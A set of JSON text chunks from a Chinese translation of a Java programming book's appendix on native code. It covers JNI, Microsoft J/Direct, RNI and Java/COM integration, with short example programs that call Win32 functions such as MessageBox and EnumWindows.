    {"text": "｝ ＪＮＩＥＸＰＯＲＴ ｖｏｉｄ ＪＮＩＣＡＬＬ Ｊａｖａ＿ＳｈｏｗＭｓｇＢｏｘ＿ＳｈｏｗＭｅｓｓａｇｅ（ＪＮＩＥｎｖ ＊ ｊＥｎｖ， ｊｏｂｊｅｃｔ ｔｈｉｓ， ｊｓｔｒｉｎｇ ｊＭｓｇ） ｛ ｃｏｎｓｔ ｃｈａｒ ＊ ｍｓｇ； ｍｓｇ ＝ （＊ｊＥｎｖ）－＞ＧｅｔＳｔｒｉｎｇＵＴＦＣｈａｒｓ（ｊＥｎｖ， ｊＭｓｇ，０）； ＭｅｓｓａｇｅＢｏｘ（ＨＷＮＤ＿ＤＥＳＫＴＯＰ， ｍｓｇ， ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ： ＪＮＩ＂， ＭＢ＿ＯＫ ｜ ＭＢ＿ＩＣＯＮＥＸＣＬＡＭＡＴＩＯＮ）； （＊ｊＥｎｖ）－＞ＲｅｌｅａｓｅＳｔｒｉｎｇＵＴＦＣｈａｒｓ（ｊＥｎｖ， ｊＭｓｇ，ｍｓｇ）；"},
    {"text": "对于象上例那样的非 ｓｔａｔｉｃ 方法 （也叫作实例方法），第二个自变量等价于 Ｃ＋＋的“ｔｈｉｓ ”指针，并类似于 Ｊａｖａ 的“ｔｈｉｓ ”：都引用了调用 固有方法的那个对象。 对于 ｓｔａｔｉｃ 方法，它是对特定 Ｃｌａｓｓ 对象的一个引用，方法就是在那个 Ｃｌａｓｓ 对象里 实现的。 剩余的自变量代表传递到固有方法调用里的 Ｊａｖａ 对象。"},
    {"text": "Ａ ． １ ． ２ 访问 Ｊ Ｎ Ｉ 函数：Ｊ Ｎ Ｉ Ｅ ｎ ｖ 自变量 利用 ＪＮＩ 函数，程序员可从一个固有方法的内部与 ＪＶＭ 打交道。 正如大家在前面的例子中看到的那样，每个 ＪＮＩ 固有方法都会接收一个特殊的自变量作为自己的第一个参数：ＪＮＩＥｎｖ 自变量——它是指向类型为 ＪＮＩＥｎｖ＿的一个特殊 ＪＮＩ 数据结构的指针。"},
    {"text": "这些函数可划分为下述类别： ■获取版本信息 ■进行类和对象操作 ■控制对 Ｊａｖａ 对象的全局和局部引用 ■访问实例字段和静态字段 ■调用实例方法和静态方法 ■执行字串和数组操作 ■产生和控制 Ｊａｖａ 异常 ＪＮＩ 函数的数量相当多，这里不再详述。"},
    {"text": "若观察一下 ｊｎｉ．ｈ 头文件，就会发现在＃ｉｆｄｅｆ ＿ｃｐｌｕｓｐｌｕｓ 预处理器条件的内部，当由 Ｃ＋＋编译器编译时， ＪＮＩＥｎｖ＿结构被定义成一个类。"},
    {"text": "１． 访问 Ｊａｖａ 字串 作为访问 ＪＮＩ 函数的一个例子，请思考上述的代码。 在这里，我们利用 ＪＮＩＥｎｖ 的自变量 ｊＥｎｖ 来访问一个 Ｊａｖａ 字串。 Ｊａｖａ 字串采取的是 Ｕｎｉｃｏｄｅ 格式，所以假若收到这样一个字串，并想把它传给一个非 Ｕｎｉｃｏｄｅ 函 数（如 ｐｒｉｎｔｆ（） ），首先必须用 ＪＮＩ 函数 ＧｅｔＳｔｒｉｎｇＵＴＦＣｈａｒｓ（）将其转换成 ＡＳＣＩＩ 字符。 该函数能接收一个 Ｊａｖａ 字串，然后把它转换成 ＵＴＦ－８ 字符（用 ８ 位宽度容纳 ＡＳＣＩＩ 值，或用 １６ 位宽度容纳 Ｕｎｉｃｏｄｅ；"},
    {"text": "ｃｌａｓｓ ＭｙＪａｖａＣｌａｓｓ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｄｉｖＢｙＴｗｏ（） ｛ ａＶａｌｕｅ ／＝ ２； ｝ ｐｕｂｌｉｃ ｉｎｔ ａＶａｌｕｅ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＵｓｅＯｂｊｅｃｔｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ［］ ａｒｇｓ） ｛ ＵｓｅＯｂｊｅｃｔｓ ａｐｐ ＝ ｎｅｗ ＵｓｅＯｂｊｅｃｔｓ（）； ＭｙＪａｖａＣｌａｓｓ ａｎＯｂｊ ＝ ｎｅｗ ＭｙＪａｖａＣｌａｓｓ（）； ａｎＯｂｊ．ａＶａｌｕｅ ＝ ２； ａｐｐ．ｃｈａｎｇｅＯｂｊｅｃｔ（ａｎＯｂｊ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｊａｖａ： ＂ ＋ ａｎＯｂｊ．ａＶａｌｕｅ）； ｝ ｐｒｉｖａｔｅ ｎａｔｉｖｅ ｖｏｉｄ ｃｈａｎｇｅＯｂｊｅｃｔ（ＭｙＪａｖａＣｌａｓｓ ｏｂｊ）； ｓｔａｔｉｃ ｛ Ｓｙｓｔｅｍ．ｌｏａｄＬｉｂｒａｒｙ（＂ＵｓｅＯｂｊＩｍｐｌ＂）；"},
    {"text": "ＪＮＩＥＸＰＯＲＴ ｖｏｉｄ ＪＮＩＣＡＬＬ ６５３ Ｊａｖａ＿ＵｓｅＯｂｊｅｃｔｓ＿ｃｈａｎｇｅＯｂｊｅｃｔ（ ＪＮＩＥｎｖ ＊ ｅｎｖ， ｊｏｂｊｅｃｔ ｊＴｈｉｓ， ｊｏｂｊｅｃｔ ｏｂｊ） ｛ ｊｃｌａｓｓ ｃｌｓ； ｊｆｉｅｌｄＩＤ ｆｉｄ； ｊｍｅｔｈｏｄＩＤ ｍｉｄ； ｉｎｔ ｖａｌｕｅ； ｃｌｓ ＝ ｅｎｖ－＞ＧｅｔＯｂｊｅｃｔＣｌａｓｓ（ｏｂｊ）； ｆｉｄ ＝ ｅｎｖ－＞ＧｅｔＦｉｅｌｄＩＤ（ｃｌｓ， ＂ａＶａｌｕｅ＂， ＂Ｉ＂）； ｍｉｄ ＝ ｅｎｖ－＞ＧｅｔＭｅｔｈｏｄＩＤ（ｃｌｓ， ＂ｄｉｖＢｙＴｗｏ＂， ＂（）Ｖ＂）； ｖａｌｕｅ ＝ ｅｎｖ－＞ＧｅｔＩｎｔＦｉｅｌｄ（ｏｂｊ， ｆｉｄ）； ｐｒｉｎｔｆ（＂Ｎａｔｉｖｅ： ％ｄ＼ｎ＂， ｖａｌｕｅ）； ｅｎｖ－＞ＳｅｔＩｎｔＦｉｅｌｄ（ｏｂｊ， ｆｉｄ， ６）； ｅｎｖ－＞ＣａｌｌＶｏｉｄＭｅｔｈｏｄ（ｏｂｊ， ｍｉｄ）； ｖａｌｕｅ ＝ ｅｎｖ－＞ＧｅｔＩｎｔＦｉｅｌｄ（ｏｂｊ， ｆｉｄ）； ｐｒｉｎｔｆ（＂Ｎａｔｉｖｅ： ％ｄ＼ｎ＂， ｖａｌｕｅ）；"},
    {"text": "｝ 除第一个自变量外，Ｃ＋＋函数会接收一个 ｊｏｂｊｅｃｔ，它代表 Ｊａｖａ 对象引用“固有”的那一面——那个引用是 我们从 Ｊａｖａ 代码里传递的。"},
    {"text": "而且垃圾收集器在固有方法调用期间又在做什么呢？ 垃圾收集器会在固有方法执行期间持续运行，但在一次固有方法调用期间，我们的对象可保证不会被当作 “垃圾”收集去。"},
    {"text": "■ＴｈｒｏｗＮｅｗ（）：生成一个新的异常对象，并将其丢弃。 ■ＥｘｃｅｐｔｉｏｎＯｃｃｕｒｒｅｄ（）：判断一个异常是否已被丢弃，但尚未清除。"},
    {"text": "Ａ ． １ ． ５ Ｊ Ｎ Ｉ 和线程处理 由于 Ｊａｖａ 是一种多线程语言，几个线程可能同时发出对一个固有方法的调用（若另一个线程发出调用，固有 方法可能在运行期间暂停）。"},
    {"text": "此外，绝对不要通过线程传递 ＪＮＩＥｎｖ，因为它指向的内部结构是在“每线程”的基础上分配的，而且包含了 只对那些特定的线程才有意义的信息。"},
    {"text": "Ａ ． １ ． ６ 使用现成代码 为实现 ＪＮＩ 固有方法，最简单的方法就是在一个 Ｊａｖａ 类里编写固有方法的原型，编译那个类，再通过 ｊａｖａｈ 运行．ｃｌａｓｓ 文件。"},
    {"text": "只有程序用 Ｍｉｃｒｏｓｏｆｔ Ｊａｖａ 编译器编译，而且只有 在 Ｍｉｃｒｏｓｏｆｔ Ｊａｖａ 虚拟机（ＪＶＭ）上运行的时候，本节讲述的特性才会有效。"},
    {"text": "微软与 Ｗｉｎ３２ 代码的接口为我们提供了连接 Ｗｉｎ３２ 的三种途径： （１） Ｊ／Ｄｉｒｅｃｔ：方便调用 Ｗｉｎ３２ ＤＬＬ 函数的一种途径，具有某些限制。"},
    {"text": "Ｊａｖａ ＳＤＫ 是一套命令行 工具的集合，但编译引擎可轻易嵌入 Ｄｅｖｅｌｏｐｅｒ Ｓｔｕｄｉｏ 环境，以便我们用 Ｖｉｓｕａｌ Ｊ＋＋ １．１ 来编译 Ｊａｖａ １．１ 代码。"},
    {"text": "首先，除希望调用的那个 ＤＬＬ 里的代码之外，没有必要再编写额外 的非 Ｊａｖａ 代码，换言之，我们不需要一个封装器或者代理／存根 ＤＬＬ。"},
    {"text": "只需少数几行，这个例子便能调用 Ｗｉｎ３２ ＡＰＩ 函数 ＭｅｓｓａｇｅＢｏｘ（）， 它能弹出一个小的模态窗口，并带有一个标题、一条消息、一个可选的图标以及几个按钮。"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＳｈｏｗＭｓｇＢｏｘ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｔｈｒｏｗｓ ＵｎｓａｔｉｓｆｉｅｄＬｉｎｋＥｒｒｏｒ ｛ ＭｅｓｓａｇｅＢｏｘ（０， ＂Ｃｒｅａｔｅｄ ｂｙ ｔｈｅ ＭｅｓｓａｇｅＢｏｘ（） Ｗｉｎ３２ ｆｕｎｃ＂， ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂， ０）； ｝ ６５５ ／＊＊ ＠ｄｌｌ．ｉｍｐｏｒｔ（＂ＵＳＥＲ３２＂） ＊／ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｎａｔｉｖｅ ｉｎｔ ＭｅｓｓａｇｅＢｏｘ（ｉｎｔ ｈｗｎｄＯｗｎｅｒ， Ｓｔｒｉｎｇ ｔｅｘｔ， Ｓｔｒｉｎｇ ｔｉｔｌｅ， ｉｎｔ ｆｕＳｔｙｌｅ）；"},
    {"text": "但是毋需在 Ｊａｖａ 版本里手工键入需要的每一 个 Ｗｉｎ３２ ＡＰＩ 函数，一个 Ｍｉｃｒｏｓｏｆｔ Ｊａｖａ 包会帮我们做这件事情（很快就会详细解释）。"},
    {"text": "为了使 ＤＬＬ 能被找到，它必 须位于 Ｗｉｎｄｏｗｓ 或 Ｗｉｎｄｏｗｓ＼Ｓｙｓｔｅｍ 目录下，位于由 ＰＡＴＨ 环境变量列出的一个目录中，或者位于和．ｃｌａｓｓ 文 件相同的目录。"},
    {"text": "Ｊ／Ｄｉｒｅｃｔ 获得了 Ｍｉｃｒｏｓｏｆｔ Ｊａｖａ 编译器 １．０２．４２１３ 版本及更高版本的支持，也获得了 Ｍｉｃｒｏｓｏｆｔ ＪＶＭ ４．７９．２１６４ 及更高版本的支持。 为了解自己编译器的版本号，请在命令行下运行 ＪＶＣ，不要加 任何参数。 为了解 ＪＶＭ 的版本号，请找到 ｍｓｊａｖａ．ｄｌｌ 的图标，并利用右键弹出菜单观察它的属性。"},
    {"text": "１． 别名处理和按顺序链接 为了使＠ｄｌｌ．ｉｍｐｏｒｔ 引导命令能象上面显示的那样工作，ＤＬＬ 内的函数必须按名字导出。 然而，我们有时想使 用与 ＤＬＬ 里原始名字不同的一个名字（别名处理），否则函数就可能按编号（比如按顺序）导出，而不是按 名字导出。"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ａｌｉａｓｉｎｇ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｔｈｒｏｗｓ ＵｎｓａｔｉｓｆｉｅｄＬｉｎｋＥｒｒｏｒ ｛ ＦｉｎｅｓｔｒａＤｉＭｅｓｓａｇｇｉｏ（０， ＂Ｃｒｅａｔｅｄ ｂｙ ｔｈｅ ＭｅｓｓａｇｅＢｏｘ（） Ｗｉｎ３２ ｆｕｎｃ＂， ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂， ０）； ｝ ／＊＊ ＠ｄｌｌ．ｉｍｐｏｒｔ（＂ＵＳＥＲ３２＂， ｅｎｔｒｙｐｏｉｎｔ＝＂ＭｅｓｓａｇｅＢｏｘ＂） ＊／ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｎａｔｉｖｅ ｉｎｔ ＦｉｎｅｓｔｒａＤｉＭｅｓｓａｇｇｉｏ（ｉｎｔ ｈｗｎｄＯｗｎｅｒ， Ｓｔｒｉｎｇ ｔｅｘｔ， Ｓｔｒｉｎｇ ｔｉｔｌｅ， ｉｎｔ ｆｕＳｔｙｌｅ）；"},
    {"text": "６５６ ｐｕｂｌｉｃ ｃｌａｓｓ ＢｙＯｒｄｉｎａｌ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｔｈｒｏｗｓ ＵｎｓａｔｉｓｆｉｅｄＬｉｎｋＥｒｒｏｒ ｛ ｉｎｔ ｊ＝３， ｋ＝９； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅｓｕｌｔ ｏｆ ＤＬＬ ｆｕｎｃｔｉｏｎ：＂ ＋ Ａｄｄ（ｊ，ｋ））； ｝ ／＊＊ ＠ｄｌｌ．ｉｍｐｏｒｔ（＂ＭＹＭＡＴＨ＂， ｅｎｔｒｙｐｏｉｎｔ ＝ ＂＃３＂） ＊／ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｎａｔｉｖｅ ｉｎｔ Ａｄｄ（ｉｎｔ ｏｐ１，ｉｎｔ ｏｐ２）；"},
    {"text": "考虑到这个原因，而且由于 ＤＬＬ 里的函数是自然的 ｓｔａｔｉｃ 函 数，所以更佳的设计方案是将 ＡＰＩ 函数封装到一个独立的类里，如下所示： ／＊＊ ＠ｄｌｌ．ｉｍｐｏｒｔ（＂ＵＳＥＲ３２＂） ＊／ ｃｌａｓｓ ＭｙＵｓｅｒ３２Ａｃｃｅｓｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｎａｔｉｖｅ ｉｎｔ ＭｅｓｓａｇｅＢｏｘ（ｉｎｔ ｈｗｎｄＯｗｎｅｒ， Ｓｔｒｉｎｇ ｔｅｘｔ， Ｓｔｒｉｎｇ ｔｉｔｌｅ， ｉｎｔ ｆｕＳｔｙｌｅ）；"},
    {"text": "ｐｕｂｌｉｃ ｎａｔｉｖｅ ｓｔａｔｉｃ ｂｏｏｌｅａｎ ＭｅｓｓａｇｅＢｅｅｐ（ｉｎｔ ｕＴｙｐｅ）； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＷｈｏｌｅＣｌａｓｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｔｈｒｏｗｓ ＵｎｓａｔｉｓｆｉｅｄＬｉｎｋＥｒｒｏｒ ｛ ＭｙＵｓｅｒ３２Ａｃｃｅｓｓ．ＭｅｓｓａｇｅＢｅｅｐ（４）； ＭｙＵｓｅｒ３２Ａｃｃｅｓｓ．ＭｅｓｓａｇｅＢｏｘ（０， ＂Ｃｒｅａｔｅｄ ｂｙ ｔｈｅ ＭｅｓｓａｇｅＢｏｘ（） Ｗｉｎ３２ ｆｕｎｃ＂， ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂， ０）；"},
    {"text": "｝ ｝ 由于 ＭｅｓｓａｇｅＢｅｅｐ（）和 ＭｅｓｓａｇｅＢｏｘ（）函数已在不同的类里被声明成 ｓｔａｔｉｃ 函数，所以必须在调用它们时规定 作用域。"},
    {"text": "前面的 ＳｈｏｗＭｓｇＢｏｘ 示例 可用 ｃｏｍ．ｍｓ．ｗｉｎ３２ 改写成下面这个样子（这里也考虑到了用更恰当的方式使用 ＵｎｓａｔｉｓｆｉｅｄＬｉｎｋＥｒｒｏｒ）： ｉｍｐｏｒｔ ｃｏｍ．ｍｓ．ｗｉｎ３２．＊；"},
    {"text": "６５７ ｐｕｂｌｉｃ ｃｌａｓｓ ＵｓｅＷｉｎ３２Ｐａｃｋａｇｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ ｔｒｙ ｛ Ｕｓｅｒ３２．ＭｅｓｓａｇｅＢｅｅｐ（ ｗｉｎｍ．ＭＢ＿ＩＣＯＮＥＸＣＬＡＭＡＴＩＯＮ）； Ｕｓｅｒ３２．ＭｅｓｓａｇｅＢｏｘ（０， ＂Ｃｒｅａｔｅｄ ｂｙ ｔｈｅ ＭｅｓｓａｇｅＢｏｘ（） Ｗｉｎ３２ ｆｕｎｃ＂， ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂， ｗｉｎｍ．ＭＢ＿ＯＫＣＡＮＣＥＬ ｜ ｗｉｎｍ．ＭＢ＿ＩＣＯＮＥＸＣＬＡＭＡＴＩＯＮ）； ｝ ｃａｔｃｈ（ＵｎｓａｔｉｓｆｉｅｄＬｉｎｋＥｒｒｏｒ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｎ’ｔ ｌｉｎｋ Ｗｉｎ３２ ＡＰＩ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ）；"},
    {"text": "Ａ ． ３ ． ３ 汇集 “汇集”（Ｍａｒｓｈａｌｉｎｇ）是指将一个函数自变量从它原始的二进制形式转换成与语言无关的某种形式，再将 这种通用形式转换成适合调用函数采用的二进制格式。"},
    {"text": "下面这张表格总结了简单数据类型的默认对应关系： Ｊａｖａ Ｃ ｂｙｔｅ ＢＹＴＥ 或 ＣＨＡＲ ｓｈｏｒｔ ＳＨＯＲＴ 或 ＷＯＲＤ ｉｎｔ ＩＮＴ，ＵＩＮＴ，ＬＯＮＧ，ＵＬＯＮＧ 或 ＤＷＯＲＤ ｃｈａｒ ＴＣＨＡＲ ｌｏｎｇ ＿＿ｉｎｔ６４ ｆｌｏａｔ Ｆｌｏａｔ ｄｏｕｂｌｅ Ｄｏｕｂｌｅ ｂｏｏｌｅａｎ ＢＯＯＬ Ｓｔｒｉｎｇ ＬＰＣＴＳＴＲ（只允许在 ＯＬＥ 模式中作为返回值） ｂｙｔｅ［］ ＢＹＴＥ ＊ ｓｈｏｒｔ［］ ＷＯＲＤ ＊ ｃｈａｒ［］ ＴＣＨＡＲ ＊ ｉｎｔ［］ ＤＷＯＲＤ ＊ 这个列表还可继续下去，但已很能说明问题了。"},
    {"text": "回调函数的例子包括窗口进程以及 我们在打印过程中设置的回调（为后台打印程序提供回调函数的地址，使其能更新状态，并在必要的时候中 止打印）。"},
    {"text": "ｉｍｐｏｒｔ ｃｏｍ．ｍｓ．ｄｌｌ．＊； ｉｍｐｏｒｔ ｃｏｍ．ｍｓ．ｗｉｎ３２．＊； ｃｌａｓｓ ＥｎｕｍＷｉｎｄｏｗｓＰｒｏｃ ｅｘｔｅｎｄｓ Ｃａｌｌｂａｃｋ ｛ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｃａｌｌｂａｃｋ（ｉｎｔ ｈｗｎｄ， ｉｎｔ ｌｐａｒａｍ） ｛ ＳｔｒｉｎｇＢｕｆｆｅｒ ｔｅｘｔ ＝ ｎｅｗ ＳｔｒｉｎｇＢｕｆｆｅｒ（５０）； Ｕｓｅｒ３２．ＧｅｔＷｉｎｄｏｗＴｅｘｔ（ ｈｗｎｄ， ｔｅｘｔ， ｔｅｘｔ．ｃａｐａｃｉｔｙ（）＋１）； ｉｆ（ｔｅｘｔ．ｌｅｎｇｔｈ（） ！ ＝ ０） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｔｅｘｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ／／ ｔｏ ｃｏｎｔｉｎｕｅ ｅｎｕｍｅｒａｔｉｏｎ． ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｈｏｗＣａｌｌｂａｃｋ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｔｈｒｏｗｓ ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｛ ｂｏｏｌｅａｎ ｏｋ ＝ Ｕｓｅｒ３２．ＥｎｕｍＷｉｎｄｏｗｓ（ ｎｅｗ ＥｎｕｍＷｉｎｄｏｗｓＰｒｏｃ（）， ０）；"},
    {"text": "ｏｋ） Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂ＥｎｕｍＷｉｎｄｏｗｓ ｆａｉｌｅｄ．＂）； Ｔｈｒｅａｄ．ｃｕｒｒｅｎｔＴｈｒｅａｄ（）．ｓｌｅｅｐ（３０００）；"},
    {"text": "若在 ＣＯＭ 那一级编写程序，并希望从一个 ＯＬＥ 函数里返回某些不同的东西，就必须将一个特殊的指针传递给它— —该指针指向函数即将在其中填充数据的那个内存区域。"},
    {"text": "例如，假设我们观察由 ＵＳＥＲ３２．ＤＬＬ 导出的符号，那么不会找到一个 ＭｅｓｓａｇｅＢｏｘ（）函数，相反会看到 ＭｅｓｓａｇｅＢｏｘＡ（）和 ＭｅｓｓａｇｅＢｏｘＷ（） 函数——分别是该函数的 ＡＮＳＩ 和 Ｕｎｉｃｏｄｅ 版本。"},
    {"text": "ＲＮＩ 比 Ｊ／Ｄｉｒｅｃｔ 更 接近于 ＪＶＭ，这也使我们能写出更有效的代码，能处理固有方法中的 Ｊａｖａ 对象，而且能实现与 ＪＶＭ 内部运行 机制更紧密的集成。 ＲＮＩ 在概念上类似 Ｓｕｎ 公司的 ＪＮＩ。"},
    {"text": "下面列出的是由 ｍｓｊａｖａｈ 生成的 Ｃ 头文件（微软提供的 ｍｓｊａｖａｈ 在功能上相当于 Ｓｕｎ 的 ｊａｖａｈ），应用于前面在 ＪＮＩ 例子里使用的 Ｊａｖａ 类文件 ＳｈｏｗＭｓｇＢｏｘ。"},
    {"text": "／＊ ＤＯ ＮＯＴ ＥＤＩＴ － ａｕｔｏｍａｔｉｃａｌｌｙ ｇｅｎｅｒａｔｅｄ ｂｙ ｍｓｊａｖａｈ ＊／ ＃ｉｎｃｌｕｄｅ ＜ｎａｔｉｖｅ．ｈ＞ ＃ｐｒａｇｍａ ｗａｒｎｉｎｇ（ｄｉｓａｂｌｅ：４５１０） ＃ｐｒａｇｍａ ｗａｒｎｉｎｇ（ｄｉｓａｂｌｅ：４５１２） ＃ｐｒａｇｍａ ｗａｒｎｉｎｇ（ｄｉｓａｂｌｅ：４６１０） ｓｔｒｕｃｔ Ｃｌａｓｓｊａｖａ＿ｌａｎｇ＿Ｓｔｒｉｎｇ； ＃ｄｅｆｉｎｅ Ｈｊａｖａ＿ｌａｎｇ＿Ｓｔｒｉｎｇ Ｃｌａｓｓｊａｖａ＿ｌａｎｇ＿Ｓｔｒｉｎｇ ／＊ Ｈｅａｄｅｒ ｆｏｒ ｃｌａｓｓ ＳｈｏｗＭｓｇＢｏｘ ＊／ ＃ｉｆｎｄｅｆ ＿Ｉｎｃｌｕｄｅｄ＿ＳｈｏｗＭｓｇＢｏｘ ＃ｄｅｆｉｎｅ ＿Ｉｎｃｌｕｄｅｄ＿ＳｈｏｗＭｓｇＢｏｘ ＃ｄｅｆｉｎｅ ＨＳｈｏｗＭｓｇＢｏｘ ＣｌａｓｓＳｈｏｗＭｓｇＢｏｘ ｔｙｐｅｄｅｆ ｓｔｒｕｃｔ ＣｌａｓｓＳｈｏｗＭｓｇＢｏｘ ｛ ＃ｉｎｃｌｕｄｅ ＜ｐｓｈｐａｃｋ４．ｈ＞ ｌｏｎｇ ＭＳＲｅｓｅｒｖｅｄ； ＃ｉｎｃｌｕｄｅ ＜ｐｏｐｐａｃｋ．ｈ＞ ｝ ＣｌａｓｓＳｈｏｗＭｓｇＢｏｘ； ＃ｉｆｄｅｆ ＿＿ｃｐｌｕｓｐｌｕｓ ｅｘｔｅｒｎ ＂Ｃ＂ ｛ ＃ｅｎｄｉｆ ＿＿ｄｅｃｌｓｐｅｃ（ｄｌｌｅｘｐｏｒｔ） ｖｏｉｄ ＿＿ｃｄｅｃｌ ＳｈｏｗＭｓｇＢｏｘ＿ＳｈｏｗＭｅｓｓａｇｅ （ｓｔｒｕｃｔ ＨＳｈｏｗＭｓｇＢｏｘ ＊， ｓｔｒｕｃｔ Ｈｊａｖａ＿ｌａｎｇ＿Ｓｔｒｉｎｇ ＊）； ＃ｉｆｄｅｆ ＿＿ｃｐｌｕｓｐｌｕｓ ｝ ＃ｅｎｄｉｆ ＃ｅｎｄｉｆ ／＊ ＿Ｉｎｃｌｕｄｅｄ＿ＳｈｏｗＭｓｇＢｏｘ ＊／ ＃ｐｒａｇｍａ ｗａｒｎｉｎｇ（ｄｅｆａｕｌｔ：４５１０） ６６０ ＃ｐｒａｇｍａ ｗａｒｎｉｎｇ（ｄｅｆａｕｌｔ：４５１２） ＃ｐｒａｇｍａ ｗａｒｎｉｎｇ（ｄｅｆａｕｌｔ：４６１０） 除可读性较差外，代码里还隐藏着一些技术性问题，待我一一道来。"},
    {"text": "然而一旦固有方法准备长时间执行，程序员就应考虑激活垃圾收 集器——通过调用 ＧＣＥｎａｂｌｅ（）这个 ＲＮＩ 函数（ＧＣ 是“Ｇａｒｂａｇｅ Ｃｏｌｌｅｃｔｏｒ”的缩写，即“垃圾收集”）。"},
    {"text": "Ａ ． ５ Ｊ ａ ｖ ａ ／ Ｃ Ｏ Ｍ 集成 ＣＯＭ（以前称为 ＯＬＥ）代表微软公司的“组件对象模型”（Ｃｏｍｐｏｎｅｎｔ Ｏｂｊｅｃｔ Ｍｏｄｅｌ ），它是所有 ＡｃｔｉｖｅＸ 技 术（包括 ＡｃｔｉｖｅＸ 控件、Ａｕｔｏｍａｔｉｏｎ 以及 ＡｃｔｉｖｅＸ 文档）的基础。"},
    {"text": "在这里，我们将仅仅重述 ＣＯＭ 编程的基本概 念，而且假定读者已掌握了 ＣＯＭ 服务器（能为 ＣＯＭ 客户提供服务的任何 ＣＯＭ 对象）以及 ＣＯＭ 客户（能从 ＣＯＭ 服务器那里申请服务的一个 ＣＯＭ 对象）的概念。"},
    {"text": "如果您对这个功能强大、但与不同平台有关的特性感兴趣，应该研究 ＣＯＭ 和微软公司的文档资料， 仔细阅读有关 Ｊａｖａ／ＣＯＭ 集成的那部分内容。"},
    {"text": "如果想获得更多的资料，向您推荐 Ｄａｌｅ Ｒｏｇｅｒｓｏｎ 编著的 《Ｉｎｓｉｄｅ ＣＯＭ》，该书由 Ｍｉｃｒｏｓｏｆｔ Ｐｒｅｓｓ 于 １９９７ 年出版。"},
    {"text": "Ｊａｖａ／ＣＯＭ 集成无疑是 Ｍｉｃｒｏｓｏｆｔ Ｊａｖａ 编译器以及虚拟机最有趣的特性。 Ｊａｖａ 和 ＣＯＭ 在它们的模 型上是如此相似，所以这个集成在概念上是相当直观的，而且在技术上也能轻松实现无缝结合——为访问 ＣＯＭ，几乎不需要编写任何特殊的代码。"},
    {"text": "而且 ＣＯＭ 客户可象使用其他 ＣＯＭ 服务器那样使用由 Ｊａｖａ 实现的 ＣＯＭ 服务器。 在这里提醒大家，尽管我使用的是通用术语“ＣＯＭ”，但根据扩展，完全可用 Ｊａｖａ 实现一个 ＡｃｔｉｖｅＸ Ａｕｔｏｍａｔｉｏｎ 服务器，亦可在 Ｊａｖａ 程序中使用一个 ＡｃｔｉｖｅＸ 控件。"},
    {"text": "这是接近完美的一 种相符，因为： ■ＣＯＭ 对象揭示出了接口（也只有接口） ■ＣＯＭ 接口本身并不具备实施方案； 要由揭示出接口的那个 ＣＯＭ 对象负责它的实施 ■ＣＯＭ 接口是对语义上相关的一组函数的说明；"},
    {"text": "Ｊａｖａ 与 ＣＯＭ 之间这种紧密的对应关系不仅使 Ｊａｖａ 程序员可以方便地访问 ＣＯＭ 特性，也使 Ｊａｖａ 成为编写 ＣＯＭ 代码的一种有效语言。"},
    {"text": "例如，ＣＯＭ 认为一个对象的二进制布局必须能够调用 另一个 ＣＯＭ 对象里的服务。 由于是对二进制布局的一种描述，所以只要某种语言能生成这样的一种布局，就 可通过它实现 ＣＯＭ 对象。"},
    {"text": "一个组件对象模型的基本目标包括： ■让对象调用其他对象里的服务 ■允许新类型对象（或更新对象）无缝插入环境 第一点正是面向对象程序设计要解决的问题：我们有一个客户对象，它能向一个服务器对象发出请求。"},
    {"text": "对于任 何面向对象的语言，第一个目标都是很容易达到的——只要您的代码是一个完整的代码块，同时实现了服务 器对象代码以及客户对象代码。"},
    {"text": "但假若应用程序由一些未在自己控制之下的组件对象构成，情况就会变得迥然有异——我们不能控制它们的 源码，而且它们的更新可能完全独立于我们的应用程序进行。"},
